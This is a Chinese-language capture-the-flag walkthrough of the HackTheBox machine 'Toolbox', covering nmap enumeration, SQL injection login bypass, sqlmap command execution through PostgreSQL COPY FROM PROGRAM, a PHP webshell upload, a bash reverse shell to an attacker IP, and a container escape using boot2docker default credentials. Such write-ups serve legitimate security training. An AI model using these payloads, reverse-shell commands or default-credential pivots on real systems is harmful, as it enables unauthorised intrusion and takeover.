Toolbox-Writeup

概述 (Overview)

49701802.png
时间:2021-07-09
机器作者:MinatoTW
困难程度:easy
描述: 考察信息收集和SQL注入,以及基本的容器逃逸。
Flags: User: <md5>,Root: <md5>
INFORMATION:

* Windows
* Sandbox Escape
* SQLi

攻击链 (Kiillchain)

使用 Nmap 对目标服务的端口进行识别,对发现的 Web 站点进行 hosts 绑定后,从而发现管理员登录系统。测试登录表单时发现存在SQL注入漏洞,利用该漏洞进行命令执行和文件写入,成功获取立足点。
通过环境下的 /.dockerenv 文件判断当前处于容器内部,通过 uname -a和 ftp 内的 docker-toolbox.exe 安装包,锁定目标服务构建使用的 boot2docker 开源服务,并通过弱口令实现容器的逃逸。在逃逸后的环境中发现 administrator 的私钥,使用该私钥成功登录目标服务器的 Windows SSH。

枚举(Enumeration)

开局还是老规矩,对目标使用 Nmap 对端口进行识别:

PORT    STATE SERVICE       VERSION                                                                                                                        
21/tcp  open  ftp           FileZilla ftpd                                                                                                                 
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                                                                     
|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe                                                                                      
| ftp-syst:                                                                                                                                                
|_  SYST: UNIX emulated by FileZilla                                                                                                                       
22/tcp  open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp open  ssl/http      Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: MegaLogistics
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after:  2021-02-17T17:45:56
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-09T01:48:50
|_  start_date: N/A

从上述信息中获悉,FTP是已 FileZilla 服务运行的且存在匿名访问,只有一个 docker-toolbox.exe 安装包。从 443 端口的证书中泄露了一个 admin.megalogistic.com 域名,目标服务器被识别为 Window 系统。

浏览器查看 80 端口,大致预览了下暂时没有发现可利用的点。

35636749.png

将域名加入 /etc/hosts ,访问后显示登录表单,title为管理员登录字样。

36551580.png

立足点(Foothold)

尝试对表单内容添加单引号提交,发现返回数据中含有SQL语句错误信息,说明此处存在SQL注入。

36634958.png

根据泄露的SQL语句,注入一条恶意的语句使其闭合吊where中对password的md5校验:
username=admin' or ''=''-- -&password=admin

成功登录后台:

36699076.png

查看了下后台的内容,这就是个静态页面不存在任何交互功能,也没有请求后台接口。猜测利用点并不在此处,可能是要利用 Sqlmap 写 webshell,获取获取数据库中的表密码从而进行登录爆破。

首先通过 Sqlmap 确认下数据库信息:

37066669.png

可以看到的是 PostgreSQL,接着尝试通过 --os-shell 执行系统命令:

$ sqlmap -u https://admin.megalogistic.com --data "username=&password=" --os-shell --proxy http://127.0.0.1:8080 --threads 10

37370761.png

在终端中成功执行系统命令 id,并返回了运行者的身份信息。通过设置代理到 burp,我们可以完整的查看的此处 --os-shell 的攻击原理:

';DROP TABLE IF EXISTS sqlmapoutput;CREATE TABLE sqlmapoutput(data text);COPY sqlmapoutput FROM PROGRAM 'pwd';--

' AND 5856=CAST((CHR(113)||CHR(113)||CHR(113)||CHR(106)||CHR(113))||(SELECT COALESCE(CAST(COUNT(data) AS VARCHAR(10000))::text,(CHR(32))) FROM sqlmapoutput)::text||(CHR(113)||CHR(98)||CHR(120)||CHR(113)||CHR(113)) AS NUMERIC)-- WfiA

' AND 1018=CAST((CHR(113)||CHR(113)||CHR(113)||CHR(106)||CHR(113))||(SELECT COALESCE(CAST(data AS VARCHAR(10000))::text,(CHR(32))) FROM sqlmapoutput)::text||(CHR(113)||CHR(98)||CHR(120)||CHR(113)||CHR(113)) AS NUMERIC)-- Ivbd

';DROP TABLE sqlmapoutput--

执行了四条SQL,首先判断并创建了一个 sqlmapoutput 表,通过 COPY FROM PROGRAM 功能来进行命令执行,在查询完结果后清除 sqlmapoutput 表。

同时,在数据库 pg_authid 表中找到一组密码:

39575169.png

https://www.somd5.com/ 得到 32e12f215ba27cb750c9e093ce4b5127:passwordpostgres

测试了下目前这组密码无法给我提供帮助,尝试是使用 Sqlmap 向绝对路径写入Webshell。路径已经在前 SQL 注入的错误回显中得到。

$ sqlmap -u https://admin.megalogistic.com --data "username=&password=" --file-write "/home/kali/hackthebox/Toolbox/file/php-reverse-shell.php" --file-dest "/var/www/admin/s.php" --proxy http://127.0.0.1:8080
40120829.png

上传成功后,在浏览器中访问脚本 /var/www/html/s.php,成功得到一个用户shell。

40448996.png

此处也可以直接传命令执行,效果是一样的:--os-cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.15/9900 0>&1'"

/var/lib/postgresql/ 目录下,成功得到 user flag

横向移动(Lateral Movement)

通过根目录下的 /.dockerenv 文件,判断出当前环境处于 Docker 容器中,需要进行容器逃逸。

41952908.png
通过 /etc/hostsifconfig 确认当前容器名称和IP地址。
42008685.png
47240950.png

在传递完 linpeas 后,运行 python3 -m pyftpdlib -p 21 来将文件传回,但发现目标服务器没装 ftp-cli,那就运行一个PHP脚本来接收curl的文件上传了:

50302771.png
在基本信息中可以看到系统是 boot2docker
50336814.png

通过 github 找到目标项目:https://github.com/boot2docker/boot2docker,默认账号为:user: dockerpass: tcuser

接下来就涉及到 Docker 网络模式的知识了,这里就不细说可以去搜一下讲的都比我好。这里我先用Python得到一个完整的tty,再尝试 ssh 登录172.17.0.1 也就是物理机虚拟出来的网络IP,成功实现横移。

48034317.png
通过执行 docker ps 命令可以看到容器列表:
48245115.png

权限提升(Privilege Escalation)

细心的朋友已经发现了,Nmap扫描出来的系统是 Windows ,为什么这里还是Linux?说明我们还是在容器里,还需要找到登录 administrator 的信息才行。

在根目录下发现存一个可疑的 /c 目录,进一步查看发现存在 administrator 的ssh登录私钥:

49453278.png
通过查看 passwd 文件,发现并没有这个 administrator 用户,猜测可能是用于连接 Windows 的 ssh 服务:
49605279.png

致此,成功获得 root flag。

55058608.png

参考